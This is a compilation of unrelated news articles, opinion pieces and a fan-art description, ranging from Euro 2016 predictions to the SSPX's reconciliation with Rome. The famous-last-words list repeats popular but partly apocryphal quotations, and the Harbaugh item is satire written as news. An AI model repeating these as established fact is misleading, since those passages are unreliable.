-NEW YORK —Santa has kicked the habit in time for Christmas. No, not the sugar plum habit, or his fur-wearing habit, or his penchant for romping recklessly around open flame.  No, gentlepeople, this is the year the man in red gave up pipe tobacco, at least in a new book version of ” ‘Twas the Night Before Christmas” that has received attention from some lofty corners, including the American Library Association.  The self-published Pamela McColl of Vancouver, Canada, has a mission for her story, to protect children and their parents from the ravages of smoking. She mortgaged her house and sunk $200,000 into her telling of the 189-year-old holiday poem, touring the states to promote it ahead of its September release.  What, particularly, did the 54-year-old entrepreneur and mother of adult twins do? She excised these lines: “The stump of a pipe he held tight in his teeth. And the smoke, it encircled his head like a wreath.” And she added to the cover: “Edited by Santa Claus for the benefit of children of the 21st century.”  And she included a letter from Santa on the back jacket flap announcing that “all of that old tired business of smoking” is behind him, claiming (by the way) that the reindeer can confirm his fur outerwear is faux out of respect for animals, including the polar bears of his beloved North Pole.  Deborah Caldwell-Stone, the ALA’s deputy director for intellectual freedom, doesn’t have a hard heart. But she doesn’t see tobacco addiction when she considers what McColl has done.  “This wasn’t a retelling. This wasn’t a parody. This wasn’t an adaptation. This wasn’t a modernization. This wasn’t fanfic. This was presenting the original but censoring the content. That kind of expurgation that seeks to prevent others from knowing the original work because of a disapproval of the ideas, the content, is a kind of censorship that we’ve always disapproved of.”  Comedian Stephen Colbert had some thoughts on the matter, only he was louder and funnier.  “Santa can’t quit smoking,” he bellowed on his Comedy Central show, holding back a laugh. “He needs that vice. You try dealing with the stress of delivering the world’s toys in a single night.”
-One of the greatest mysteries of life is facing the enigma and mystery of death. Ever wonder what your last moments will be like? No one can be sure what they’ll meet in the afterlife, but those final moments are usually filled with somber thoughts and honesty. While not all of us have the luxury or the chance to prepare for death, our final words may be extremely revealing and give a truthful glimpse into our last thoughts and feelings that often reflect on the experience we’ve had throughout life. Last words and quotes from loved ones are always treasured, as it is the last memory that will ever be created by the dying person. Here is a list of the most epic and famous last words (in no particular order).  George Harrison (1943 – 2001) ”Love one another”  Lead guitarist of The Beatles has made many strides in history and revolutionizing rock ‘n’ roll music. His musical inspirations have been credited to Hinduism and traces of Indian culture during the mid-1960s. Many Beatles hit singles like “Here Comes the Sun” and “While My Guitar Gently Weeps” have exposed the style of sitar melodies and rhythms to mainstream Western music. Always known for his quiet and somber demeanor, Harrison’s last words, “Love one another” reflect many messages from Beatles songs and also reflect how he lived and his philosophies as a person. Battling throat cancer he finally passed away on Nov. 29, 2001 and his last words were recorded by his beloved wife.  Bob Marley (1945 – 1981) ”Money can’t buy life”  Bob Marley was undoubtedly one of the leading songwriters, singers, and guitarists of our time. Who can forget his peaceful philosophy and carefree lyrics that spread Jamaican culture and music to a worldwide audience? He sustained a form of malignant melanoma called acral lentiginous and died at the age of 36. After declining amputation of his toe, the melanoma eventually spread to his lungs and brain, leading to his unfortunate death. The world mourned the loss of a musical genius. Marley’s last words to his son Ziggy were “Money can’t buy life.”  Steve Irwin (1962 – 2006) ”Don’t worry, they usually don’t swim backwards”  This was the last recorded statement from an iconic Australian television personality, wildlife expert, and conservationist known as the Crocodile Hunter. Steve was filming in shallow waters for his daughter’s new show, Bindi the Jungle Girl, when a sting Ray pierced his chest, causing fatal internal damage to his arteries. Steve’s last moments were recorded on tape, and confirm that the stingray was swimming backwards, which adds to the sad irony in his death.  Malcolm X (1925 – 1965) ”Brothers! Brothers, please! This is a house of peace!”  Malcolm X, one of our greatest human rights activists, has been described as one of the most influential public speakers in history. He was assassinated while giving a speech about unity and equal rights at Manhattan’s Audubon Ballroom. Before he was shot, a disturbance broke out among the crowd of 400 people. Malcolm’s bodyguards moved from his side to tend to the fight that broke out, and a man rushed forward and shot Malcolm directly in the chest with a sawed off shotgun. As if that was not enough, two other men had handguns, and altogether, Malcolm was hit 17 times before his body struck the floor. In his last moments, he was still trying to subdue the crowd and keep peace in his heart. Other sources describe his finals words as “Now, now, brothers, break it up, be cool, be calm.”  Jack Daniel (1846 – 1911) ”One last drink, please”  We’ve seen his bottles of Tennessee whiskey in liquor stores. Fittingly, Jack Daniel’s last words continue to inspire merry spirits and world famous whiskey to be poured. In 1907, due to his failing health, Daniel gave his distillery to his favorite nephew, Lem Motlow, who then passed it down to his children. Jack died from blood poisoning that he sustained from an infection that started in his big toe, a result of kicking a safe in. His last words, “one last drink please,” have inspired a marketing frenzy used primarily on the London Underground transit system in January 2006. His legacy will indeed live on, as Jack Daniels Whiskey is one of the world’s best selling liquors today.
-College Park, Md. voted to allow non-citizens to vote in local elections Tuesday night.  After several votes, the council eventually voted 4-3 to allow legal permanent residents and undocumented immigrants to take part in upcoming municipal elections. One council member did not vote.  Initially, the city council of the Washington, D.C., suburb voted 4-4 on the first measure, a nonbinding referendum, sending the deciding vote to Mayor Patrick Wojahn, who voted against it.  BREAKING: College Park City Council votes 4-3 to allow non-citizens to vote in city elections even if they are illegally in the country. — Tom Roussey (@tomrousseyABC7) September 13, 2017  The council then took up the idea of voting for permanent residents, which would have excluded undocumented immigrants. The amendment also received a 4-4 vote and a tie-breaking "no" vote from the mayor.  The council then voted on allowing all non-citizens to vote, which passed.  The measure was supposed to be voted on in August, but was delayed after threats were made to members.  Wojahn said he hoped delaying the vote would bring less attention to the matter.  About two dozen people spoke at the meeting.  Those in favor of the proposal who spoke at the meeting said it would make the city, which is home to the University of Maryland, more inclusive. Others called it a violation of the Constitution.  The meeting had three possible outcomes: The council could say yea or nay to the measure, it could convene a commission to study and make a recommendation, or it could call for a nonbinding referendum.  A majority of the comments posted to the city's website were overwhelmingly opposed to the measure.  Takoma Park became the first city in Maryland to allow the practice after voters narrowly approved the measure in 1991.  Officials in the District of Columbia have repeatedly considered allowing non-citizens to vote but have decided against it. New York City extended voting privileges to non-citizens in school board elections until 2002.
-BBC Sport football expert Mark Lawrenson is predicting the outcome of every game at the 2016 European Championship.  Lawro correctly forecast that France, his pre-tournament pick to win the tournament, would beat Germany in their semi-final, but wrongly thought Wales would beat Portugal and make Sunday's final.  He picked the winner in two of the four quarter-finals, six of the eight last-16 ties and enjoyed a 42% success rate in the group stage, correctly guessing the outcome of 15 of the 36 games.  The only group he failed to get a single result in was Group F, which saw Hungary and Iceland spring a surprise by finishing first and second.  Before the tournament Lawro chose 11 of the 16 teams that went through to the first knockout stage.  Along with more than 375,000 of you, Lawro is taking part in the new BBC Sport Predictor game. He is going head-to-head with pundits, presenters and commentators from across BBC Sport.  He's doing well, but he is only in the running for a podium place - with a maximum of 40 points still to be won, commentator Alistair Bruce-Ball is certain of victory with one game to go.  BBC Sport Predictor: The pundits league - how it stands at the top Position Name Score 1 Alistair Bruce-Ball 570 = 2 Dan Walker 520 = 2 Ian Dennis 520 4 Phil McNulty 510 5 Mark Lawrenson 490  You can make your own prediction for the final and take on your friends and other fans using the BBC's Euros Predictor.  Lawro's final prediction - and selected others  Portugal v France Lawro 0-3 Ian Dennis 0-2 Kevin Kilbane 1-2 Phil McNulty 1-2 Danny Mills 1-3 Alan Shearer 1-3 Dan Walker 0-2 Steve Wilson 1-0  Sunday, 10 July  Portugal v France (20:00 BST, Stade de France)  Portugal have got to the final without playing well in any of their six matches in the tournament so far.  Other than putting a lot of crosses into the area for Cristiano Ronaldo and Nani, I am not sure what they offer going forward other than sitting back and waiting and waiting for the the opposition to make a mistake.  Their problem with doing that in this game is that they have not played a team as dangerous as France before. They have got so many players who will hurt Portugal if they give them time and space on the ball.  When you look at how France have got their goals, and who has got them, then they have got a lot of options on the field and on the bench in terms of who can do the damage.  I know it has been said that France are vulnerable at the back but they dealt pretty well with Germany in their semi-final.  Samuel Umtiti has come in and been outstanding in defence and, behind them, they have one of the best goalkeepers in the world in Hugo Lloris.  France will be fine even if they fall behind  Media playback is not supported on this device Highlights: Germany 0-2 France  Euro 2016 has not been a great tournament in terms of brilliant matches, but in terms of a spectacle, I just hope that France score early in the final.  Even if they go behind, I do not think they will be in trouble in the same way Wales were in their semi-final.  France have got more attacking weapons than any other team in the tournament and on top of that they have got momentum and home advantage.  Many of the best players over the past month have been French and in Antoine Griezmann they have the player of the tournament. He is an outstanding number 10 but what I love about him is that he is perfectly happy to track back and work when he is asked to as well.  I am convinced France will win but it is difficult to say whether this will be the start of a period of dominance for Les Bleus. Most of their talented attacking players are young, but it is hard to know how they will shape up as a team by the time the next World Cup comes round in 2018.  Lawro's prediction: 0-3  Lawro was speaking to BBC Sport's Chris Bevan.  Lawro's semi-final predictions  Games Score Lawro's prediction Wednesday, 6 July Portugal v Wales 2-0 1-1 (Wales to win on penalties) Thursday, 7 July Germany v France 0-2 0-2  Lawro's quarter-final predictions  Games Score Lawro's prediction Thursday, 30 June Poland v Portugal 1-1 (3-5 pens) 2-0 Friday, 1 July Wales v Belgium 3-1 0-2 Saturday, 2 July Germany v Italy 1-1 (6-5 pens) 2-0 Sunday, 3 July France v Iceland 5-2 2-0  Lawro's last-16 predictions
-ANN ARBOR, MI—Boasting that an incredible unplanned shot perfectly captured the true nature of the Michigan football head coach, a documentary crew filming the team’s 2017 season revealed Wednesday that its static night vision camera positioned on the field had caught an inquisitive Jim Harbaugh poking its lens. “The camera first captured him coming onto the field at 2:30 a.m., but he was just rapidly pacing and dropping down for push-ups,” said director Felicia Comerford, who revealed that Harbaugh then froze, narrowed his eyes, and intently studied the camouflaged camera that he had spotted in pitch-black darkness 120 yards away from him. “Then he suddenly burst toward the camera in a full sprint. He was on it in seconds. He apprehensively circled around it several times and then disappeared off camera, popping up two seconds later inches in front of the lens, sniffing it, poking it with his finger, and then licking it.” Comerford added that the magnificent shot even tops the stunning and unexpected footage they captured the previous day of a pacing Harbaugh suddenly tearing into a freshman linebacker.  Advertisement
-Bishop Bernard Fellay (Edward Pentin)  SSPX’s Bishop Fellay: Little by Little Rome Is Giving Us All We Need for Reconciliation  In a wide-ranging interview with the Register, the leader of the traditionalist priestly society details how Pope Francis has opened the door to the SSPX’s full integration with the Church.  EDWARD PENTIN  MENZINGEN, Switzerland — Reconciliation between the Society of St. Pius X and Rome looks to be imminent, as a key obstacle — opposition to certain aspects of the Second Vatican Council — may no longer be a cause for continued separation from the Church.  Bishop Bernard Fellay, the superior general of the SSPX, told the Register May 13 that he is “persuaded, at least in part, by a different approach,” in which, he believes, Pope Francis is placing less weight on the Council and more emphasis on “saving souls and finding a way to do it.”  That message was reinforced this week when Pope Francis himself hinted reconciliation could be close, telling the French Catholic daily La Croix May 16 that the SSPX are “Catholics on the way to full communion” and that “good dialogue and good work are taking place.”  According to Bishop Fellay, the Vatican is telling the society, through nuanced words, that it is now possible to question the Council’s teachings on religious liberty, ecumenism and liturgical reform “and remain Catholic.”  “That means, also, the criteria they would impose on us, to have us prove to them that we are Catholic, will no longer be these points,” he said. “That, to us, would be very important.”  In 1970, Archbishop Marcel Lefebvre, a French Holy Ghost Father, founded the international society to form and support priests in spreading the Catholic faith throughout the world.  But its opposition to some teachings of the Second Vatican Council regarding ecumenism, freedom of religion and aspects of liturgical reform came to a head in 1988, when Archbishop Lefebvre ordained four bishops in 1988 against the express wish of Pope St. John Paul II. All five incurred automatic excommunication, and the society has been in a canonically irregular situation ever since.  Archbishop Lefebvre died in 1991, and the Vatican and SSPX have been earnestly working towards reconciliation since 2000.  Benedict XVI sought to improve relations, first in 2007, by confirming that priests may celebrate the Mass in Latin according to the 1962 Roman Missal (officially called the extraordinary form of the liturgy) and stressing that it had never been abrogated, and then lifting the excommunications on four surviving SSPX bishops in 2009.  He also opened formal reconciliation talks with the SSPX in 2011, but those subsequently faltered because the Vatican, apparently in contrast to Benedict’s own wishes, raised the stakes on the central issue: that the society accept the validity of all of the Council’s teachings, including the texts on religious freedom and human rights that the SSPX rejects as theological “errors.”  The latest groundbreaking and surprising concession on this issue has, therefore, brought the SSPX to the brink of regularization that, sources say, could happen in a matter of weeks or months.  Pope Francis received Bishop Fellay for the first time in a private audience last month, signaling a clear intent on the Holy Father’s part that he wishes the society to be regularized. “Bishop Fellay is a man with whom one can dialogue,” he told La Croix.  The Pope also announced that SSPX confessions would be valid and licit during and after the Jubilee Year of Mercy. Until then, Rome considered them as invalid because they lacked necessary jurisdiction.  The SSPX is now understood to have the Vatican’s draft of an agreement to sign to formalize regularization, but wants to make sure it has secure guarantees. “The ball is in their court,” a Vatican source told the Register May 12. “We want them to go ahead with it.”  The Message From Menzingen  Bishop Fellay sat down for a lengthy interview with the Register on a wet and blustery Friday in May, the feast of Our Lady of Fatima, at the SSPX’s motherhouse in Menzingen, near Zurich, Switzerland.  The modest building, a former Swiss guesthouse, surrounded by rolling Alpine foothills and farmland, is undergoing some renovation. About 25 priests and nuns live there; and due to the SSPX’s expansion because of abundant vocations, they are contemplating finding larger premises soon. On a table sits a unique pewter jug surrounded by several small mugs, each engraved with a key moment in Archbishop Lefebvre’s life.  Despite a punishing schedule with extensive travel, Bishop Fellay arrived in good spirits and spoke freely and openly in English. He is well aware how surprising and strange it appears that reconciliation seems so close, under a pope regarded as being far more concerned with other matters.  “[The situation] is really paradoxical, because we haven’t changed anything, and we continue to denounce what is happening,” he said. “Nevertheless, you see this movement in our favor, inside Rome.” He said he has noticed that the longer the talks continue, “the more lenient Rome becomes.”  But he also noted two different approaches in Rome to the SSPX question. “We have to distinguish the position of the Pope, which is one thing, and then the position of the CDF,” he explained, referencing the Vatican’s doctrinal office, the Congregation for the Doctrine of the Faith, led by Cardinal Gerhard Müller, which is offering major concessions for regularization. “They don’t have the same approach, but have the same conclusion, which is: Let’s finish the problem by giving recognition to the society.”  According to the SSPX leader, the Congregation for the Doctrine of the Faith has a “new perspective” on the society, and, contrary to comments made by Cardinal Müller in 2014, it no longer sees the group as schismatic.  “That means that the points we defend do not touch the points that would separate the society from the Church, either at the level of schism or worse, the level of heresy, against the faith,” said Bishop Fellay. “They [in the CDF] still estimate that something should be clarified on the question of the perception of what is the magisterium. But we claim they make it confusing.”  In an interview with Zenit in February, Archbishop Guido Pozzo, secretary of the Pontifical Commission Ecclesia Dei, which is charged with regularizing the SSPX, said the Holy See wants “clarification” on the society’s criticisms of the Council, but these can also take place “even after full reconciliation.” He said the SSPX must also move away from “polemical and antagonistic confrontation.” A Vatican source said the society has already “toned down some of their literature, interviews and publications.”  Confirming what Rome sources have told the Register, Bishop Fellay implicitly made it clear that it is the Vatican that has reached out to the SSPX, rather than the other way around, even though the society sees reconciliation as their right and an “injustice not to give it to us.” According to the group’s leader, Archbishop Lefebvre never wanted a break with Rome, and the society has always insisted they have never been in schism.  Bishop Fellay said some in the Vatican see the SSPX as coming to the “rescue” of the Church and by others as coming to the Church’s “help” and revealed that this is mentioned in the conciliation document that they have been offered to sign. One informed source said Rome is giving the society “everything” they need for full reconciliation.  But some associated with the SSPX — including former SSPX Bishop Richard Williamson, who was expelled from the society in 2012, reportedly because he sowed dissent within the SSPX and counseled against reconciliation with the Vatican — believe Bishop Fellay is seeking reconciliation at any cost and that the society risks coming under the influence of what Bishop Williamson called ”modernist cuckoos” occupying the Vatican.  Bishop Fellay rejects such a position as “totally wrong,” insisting, “We’re not going to compromise, to hurt the faith, the discipline of the Church.” Instead, he said, “we’re asking Rome for guarantees that we can continue the way we do.”  “Rome is, little by little, granting what we see as a necessity and what they start to see as a necessity, given the situation of the Church,” he said.  A personal prelature similar to that of Opus Dei is the most likely canonical structure, and, already, with regards to the sensitive issue of episcopal appointments, the SSPX has agreed to the Pope's choosing a candidate from a list of three proposed by the society.  Bishop Fellay finds Pope Francis perplexing but said that he is someone he can ultimately deal with on a personal level. “The normal way of judging someone is deriving from his actions and concluding he’s acting like this because he thinks like that,” he explained. “With the present Pope, you are totally puzzled, because one day he does something and the following day he does, or says, almost the contrary.”  Dialogue With Pope Francis  But the French-Swiss SSPX leader has learned how to communicate with this Pope, by acknowledging that Francis often seems to view doctrine as an obstacle to leading people to Jesus. For the Pope, Bishop Fellay said, “what is important is life, it’s the person, and so he tries to look at the person, and there, if I may say, he’s very human.”  As for the Pope’s motives, Fellay believes Francis is someone who wants to see everyone saved so, “like a rescuer, he unties the rope, which is his security, to put himself in a risky situation to try to get to other people,” and “that is probably what he’s doing with us.”  Asked if he thought the Pope’s frequent condemnations of “doctors of the law” and “fundamentalists” were partly directed at him and the society, he laughed, saying people in Rome have told him they don’t know who the Pope is referring to. “The answer I got most was ‘conservative Americans!’” he laughed. “So really, frankly, I don’t know.”  As to the Pope’s view of the SSPX in general, Bishop Fellay said his familiarity with the SSPX in Buenos Aires helps. In fact, in his interview with La Croix, Francis said that he “often spoke” with members of the SSPX in Buenos Aires. “They greeted me, asked me on their knees for a blessing,” he said.  The Pope sees that “we care about people,” Bishop Fellay said.  “Certainly he doesn’t agree with us on these points on the Council which we are attacking. Definitely he doesn’t. But for him, as the doctrine is not so important — it is man, the people, who are important — there we have given enough proof that we are Catholics.”  “He sees that we are genuine — period,” said Bishop Fellay. “He certainly sees things he would disagree with in us, things he would like to see us change, but for him, that’s not what’s important. What’s important is to love Jesus, and that’s it.”  Internal Concerns  Bishop Fellay has spoken before of his concern that the society might “disintegrate,” rather than “integrate,” if regularized. Does he, therefore, fear the Pope might be courting them back into “full communion” in order to neutralize them?  “That’s not his perspective,” he said. “I would say the contrary. He would be someone who would see the advantage of having controversy. … So I would rather see him wanting us to be controversial to provoke and to create a new situation, which maybe, in an Hegelian way, would bring a better situation. Of course, we’re against such a dialectical approach, but it could be the one.”  Still, the SSPX is seeking to insert safeguards of its identity into any agreement with Rome. And they feel confident they can continue criticizing the post-conciliar Church and the Council if necessary, largely because many other voices are now doing the same. “We will maintain the urgency to make corrections, and I would say that, in part, they [Rome] are starting to recognize that urgency,” Bishop Fellay said.  And if these “corrections” don’t come? “Well, we’ll be patient,” he said, before breaking into a wide grin. “They will come.”  But given the concerns expressed about aspects of today’s post-conciliar Church, highlighted by the recent controversy over the apostolic exhortation Amoris Laetitia, can the SSPX be confident of the support of SSPX churchgoers for reconciliation?  This appears to be one of the most significant unknowns and challenges for the society. “It will be quite a work, and it will take time to be able to bring the faithful to realize this new face in the history of the Church, this new reality,” Bishop Fellay conceded. But, he added, not moving ahead “because things are bad is by no way what God, Our Lord, is requesting from his apostles.”  ‘I See It as a Step’  Bishop Fellay is more sure about the situation in the Church, which he sees as inevitably worsening.  “The situation of the Church, when we look at it now, will grow into a really messy situation,” he said, adding that “every Catholic” must do his or her part to strengthen the Church. Canonical regularization of the society won’t be a solution, he said, because the problem “is in the Church” and what is happening now, “which is confusion at all levels, moral and doctrinal.”  So does he see the Vatican’s outreach as a vindication of what the SSPX has stood for over the past decades?  “I see it as a step,” Bishop Fellay said, “which proves how right we were, which is not yet the end by any means.”  Edward Pentin is the Register’s Rome correspondent.  See video of the complete interview with Bishop Fellay here.
-Democracy is broken, but when leaders like Frans Timmermans blame people who do not participate in a system they view as outdated and obsolete, they only help create a generation of disillusioned young people, writes Joahnna Nyman on International Youth Day.  Johanna Nyman is president of the European Youth Forum.  International Youth Day should be a day of celebration and a day to mark the progress that has been made for young people. It should also be a day for us to stand up for ourselves and have our voices heard!  Listening recently, however, to some people who should be showing global leadership, you could be forgiven for thinking that we, young people, do not care, that we do not want to raise our voices. Our leaders seem to think we are more interested in watching TV or playing Pokémon Go than in changing the world we live in for the better.  Acting as patroniser-in-chief, European First Vice President Mr. Frans Timmermans has been leading the rhetoric that blames young people for their laziness when it comes to getting involved and mobilising. “If you think that you can change the world from behind your PC or smartphone”, he recently declared, “I’ve got news for you; it won’t happen. You’ve got to be organised, active and physically present to make your voice heard, win the argument and steer the future”.  This assertion unfortunately seems more more aligned with populist prejudice against young people than with reality.  Another recent misinterpretation of the current situation facing young people came from the pope, during a speech he gave in front of young Catholics in Krakow.  While calling for young people to get involved in social movements, Pope Francis came close to guilt tripping instead of encouraging them. He referred to our generation as “lazy” and said we need to get off our sofas. This “guilt” narrative is unhelpful, as it actively discourages people who need encouragement the most, but it is also absolutely false.  For one thing, as president of an organisation representing over 100 large European youth groups, I find the allegations hurled at us particularly frustrating since I see young people every day who come up with ideas for a better future, take action and mobilise others.  The European Youth Forum has conducted in-depth research showing that young people do in fact participate and care about politics. The research shows that they volunteer with youth organisations, join social movements, boycott and protest! Young people also take part in more formal institutional policy making through representative youth organisations.  Yes, young people do not vote in large numbers and they have – to some degree – turned their backs on the traditional political system, including mainstream political parties.  Young people’s withdrawal from traditional politics has unfortunately become a self-fulfilling prophecy, a vicious cycle of political marginalisation: because 72% of 16-24 years olds do not vote, but over half of people over age 65 do, politicians largely ignore – or at least don’t prioritise – the issues that matter to us. And young people, therefore, continue to turn away from the political system. Since we often don’t feel represented by politicians, this leads to even greater levels of distrust, and even lower voter turnouts in the future.  Yes, our democracy is broken, but if our leaders blame people who do not participate in a system that they view as outdated and obsolete, they will not help bring them in, but instead only help create a generation of disillusioned young people.  Southern Europeans flock to UK for jobs Increasing numbers of Spanish, Italian and Portuguese people are moving to Britain to work, likely reflecting weak labour market conditions in the southern eurozone, a new study revealed on Wednesday (13 April).  Why not let young people in instead? Why not co-create politics with them? Surely there isn’t anything to be afraid of. Alongside measures such as lowering the voting age to 16 across Europe and a reformed education system that nurtures active citizenship, a changed attitude could help reinvent politics to harness young people’s political innovation and energy.  On International Youth Day, which this year is focused on eradicating poverty, I ask First Vice President Mr. Timmermans and other EU leaders: with young people currently the most at risk age group to go into poverty and social exclusion in Europe, is it any wonder that some are not voting? When you worry about your next meal, about basic rights such as a roof over your head, healthcare and education and do not know when or where the next pay cheque will come from, is it any wonder that young people are not banging down the doors to join political parties?  Mr Timmermans and many others would be wise to stop patronising and take a look at the reality around them, and try to identify any link between apathy towards formal politics and the political system they represent.  Tragically, our societal systems are rigged against and routinely discriminate against us. One example that older generations might contemplate is the youth pay gap: in at least eight EU countries there is a different, lower, minimum wage for young people. This means that, in the Netherlands for example, at the age of 18 a young person earns half the adult wage for the same job. They are effectively working half of the year for free!  Meanwhile, if you are one of the millions of young people across Europe who cannot find a job, with little support from systems that are meant to protect us, you have no means to live. Along with poverty, homelessness among young people is on the rise in Denmark, where the number of young homeless people increased by 80% between 2009 and 2013.  Pope Francis’s positive comments on social justice and recent warnings on youth unemployment are welcome. But perhaps the link between poverty and lack of housing are more connected to political disengagement than to the video games he was so worried about recently in Krakow?  The precarious situation in which young people find themselves is having an impact not only on young people’s lives, but also – through their inability to contribute to the economy – on wider society. If we do not tackle this now, we risk sacrificing a generation and we surely cannot afford that. We must give young people hope for their future if we want to even begin to engage them in formal politics! I call out these leaders, busy with their patronising rhetoric, to get on with tackling the big issues that our society faces.
-Don Maloney admits he considered not making the Jarred Tinordi trade until after the All-Star Game, but says there’s “no way” he would intentionally bury John Scott in AHL so he couldn’t go.  “We have (the maximum) 23 players on our roster,” the Coyotes’ general manager said Saturday. “Someone had to go. When you look at our lineup, he made the most sense. To suggest that this was part of us not wanting him in All-Star, or to be working in the NHL…I’m dumbfounded by that.  “We wanted Tinordi, we think our coaching staff can work with him.”  Scott, voted an All-Star captain by the fans, was dealt to Montreal with Victor Bartley in the Tinordi transaction, a trade that also involved Nashville, Stefan Elliott and Stefan Fournier. He’s signed to a one-way contract, so he’s paid his full $575,000 in the AHL. No doubt budget-conscious Arizona wanted to avoid that. Fournier’s AHL salary is in the neighbourhood of $50,000.  What’s interesting is Maloney admitted the Coyotes thought about waiting.  “We did. But, things can change. What if someone else is interested? What if he gets hurt? You can’t take the chance.”  After I spoke to Maloney, two sources indicated there were a couple other teams looking at Tinordi. Montreal GM Marc Bergevin clearly decided it was time to end this standoff.  Whatever you think of Scott’s selection, the nastiness emanating from this trade really is something. Scott, who apparently has not yet decided whether or not to step away from the game, is angry he’s been sent so far away from his wife, who is expecting twins in the next few weeks. Who knows, maybe the Canadiens let him stay home.  Maloney also admitted he met with Scott a couple of times about participating.  “I wanted to ask him if he was sure,” the GM said. “If it was five-on-five, there’d be no problem. But it’s three-on-three, which is much different. He really wanted to play. It became important to him, something he wanted to do.”  According to a couple of sources, the NHL offered Scott’s family a free trip to the game — the ability to participate in the weekend without play. It was rejected. What’s uncertain is if that offer still exists. (The league has not commented.) It’s also uncertain if the league added other incentives, such as a winner’s share of the All-Star money or another family vacation at another time.  The other unknown is how the conversations with the league went. We know the NHL was not successful in getting him to step away, but there have been rumours those talks did not go well at all. Scott, suspended three times, losing almost $80,000 in salary, may not have been too inclined to listen.  It’s ugly, and everyone’s emotional right now, which makes it a harder fix. But, a solution, if I may:  Invite him to the weekend, heck make it a secret, so it’s a surprise. Enjoy the awesome city of NashVegas and take selfies with anyone who wants. Let him (and his family) come out on the ice wearing a Pacific Division captain’s jersey. Get an ovation.  Then, pull out another jersey and say, “Thank you very much for your support. Now, I’m going to enjoy the weekend while watching captain Drew Doughty/Mark Giordano/Corey Perry/Daniel Sedin lead the Pacific Division to three-on-three glory.”  Let’s end a needlessly ugly situation with a lighter touch.
-At the moment this is the most detailed picture I've ever made. Also it's the first time that I draw a well done warhammer ork. Yes obviously the commissar is always the handsome ones. In the original sketch there was the sister of battle instead the assault space marines, but I needed something more bulky on the right side. Their color pattern was a problem,with steel armours they seem Grey knights;I tried a cement grey scheme, but at the end I preferred doing something more medieval style...so the bright steel armour. They are theThe orks are the savage ones, so no trucks and engines; I preferred they use dinosaurs and winch rifles. For the Imperial Guard Regiment I was inspired by "norse-viking medieval centuries" and Rohirrim; I designed for them a laser-crossbow rifles. For the background a peacefully sunset with the arriving stars of the night...From the composition I preferred above all the commissar's pose; the first space marine with the revolver-bolter; and in particular the ork on the left, with a chain mail glove, the leg is covered by the dust and smoke but he has a wooden leg, in the photoshop file he is called "The Angry Ork".
-The Trump administration has escalated its feud with the Obama administration, creating a virtually unprecedented situation in which the current and former U.S. executive branches are openly fighting.  President Trump on Wednesday said Obama-era national security adviser Susan Rice might have committed a crime by requesting the identities of Trump associates who were incidentally swept up in surveillance, though he cited no evidence to back up his claim.  “I think it’s going to be the biggest story,” Trump told The New York Times. “It’s such an important story for our country and the world. It is one of the big stories of our time.”  Ben Rhodes, a deputy national security adviser under former President Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE and Rice, quickly fired back, stating that attacking Rice “for doing what countless officials of both parties have done is authoritarianism.”  ADVERTISEMENT  “Media shouldn’t enable this garbage,” he added.  The attack on Rice, a lightning rod on the right who was a trusted confidante for the former president, is just the latest flashpoint between the administrations.  Trump and his staff have made it clear that they think Obama administration officials have been complicit in widespread leaks of damaging intelligence about Russia’s meddling in the 2016 presidential election and possible links between Moscow and Trump’s associates.  The president in early March accused Obama of wiretapping Trump Tower, a claim that has been repeatedly debunked and that the White House has since walked back.  It’s a striking shift from November, when Obama and Trump met at the White House and Obama pledged that he and his aides would ensure a smooth transition. Trump also offered kind words for Obama, suggesting the two might confer from time to time.  That hasn’t happened. In March, The Hill reported that Obama and Trump haven’t exchanged words since Inauguration Day.  And the fighting goes far beyond Rice and Russia.  Trump and the White House on Tuesday blamed a deadly gas attack in Syria’s civil war on Obama’s policies, statements that appeared to put more blame on the previous administration than on Syrian President Bashar Assad’s government.  The new administration’s focus in office has been revoking Obama-era regulations, and its main legislative goal has been to repeal and replace the Affordable Care Act, Obama’s signature legislative achievement.  Obama aides have been all over Twitter attacking Trump, augmenting the sense that the two administrations are now at war.  Tommy Vietor, a former spokesman for the National Security Council under Obama, tweeted Wednesday that Trump is a “serial liar” who has “changed his story on wiretapping 3 times.”  Some tension between administrations is hardly unusual.  Obama often blamed the poor economy he inherited on President George W. Bush and repeatedly criticized that administration’s foreign policy.  Bush administration officials believed that President Clinton failed to confront al Qaeda in the lead-up to the Sept. 11, 2001, terrorist attacks, while Bush himself spoke about how Clinton left him a recession.  President Reagan frequently criticized President Carter’s handling of the economy, prompting Carter to respond in 1982 that his administration “did not spend four years blaming our mistakes on our predecessors.”  But a confluence of events makes today’s tensions feel like nothing the country has seen before: Russia’s meddling in the election, the nature of Trump’s accusations, his penchant for combat, the rise of social media and the fact that much of Trump’s agenda involves rolling back Obama-era laws and regulations.  Obama so far has not attacked Trump despite pleas from some Democrats for him to jump into the fight.  But the unusual circumstances of Obama’s post-presidency might lead him to speak out. He put out a statement two weeks ago defending his healthcare law against Republican efforts to repeal it.  His spokesman also published a statement one week after he left office cheering protests against Trump’s travel ban.  A source close to Obama says the president is reluctant to join the fray.  “It’s not in anyone’s interest ... for [Obama] to become the face of the resistance or narrate the Trump presidency,” the source said. “He’s acutely aware that when he speaks, he sucks up all the oxygen, and that suppresses the next generation of leaders from rising.”  As the GOP attacks intensify on specific members of Obama’s administration, however, it could be more difficult for the former president to disengage.  Trump’s attacks on Rice in particular risk drawing Obama in, since they step up the debate over whether the previous administration sought to harm its successor through intelligence leaks.  Trump’s tendency to point the finger at Obama might energize the GOP base, which still has a low opinion of the former president.  But there are also risks.  Republicans often scolded Obama for blaming the recession and sluggish economy on Bush.  So it was notable on Wednesday when Sen. Marco Rubio Marco Antonio RubioHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Trump unleashing digital juggernaut ahead of 2020 MORE (R-Fla.), a rival of Trump’s in the GOP presidential primaries, warned Trump about blaming Obama.  “I don’t think it’s a secret that I disagreed with many of the decisions made by the Obama administration on foreign policy, but that presidency’s over; we have a new presidency,” Rubio told reporters.  Brandon Rottinghaus, a presidential historian at the University of Houston, said the president’s willingness to cast blame on Obama could backfire and make Trump look weak.  “If you’re still blaming the old administration, it means you don’t have better ideas. You just have the microphone,” he said.  Still, Obama’s “red line” threat against the Syrian government is among the most widely criticized comments of his eight years in office.  Trump at a Wednesday press conference acknowledged he is responsible for how the government reacts to the chemical weapons attack in Syria.  He again faulted Obama for not taking military action in Syria even though he previously urged him not to do so.  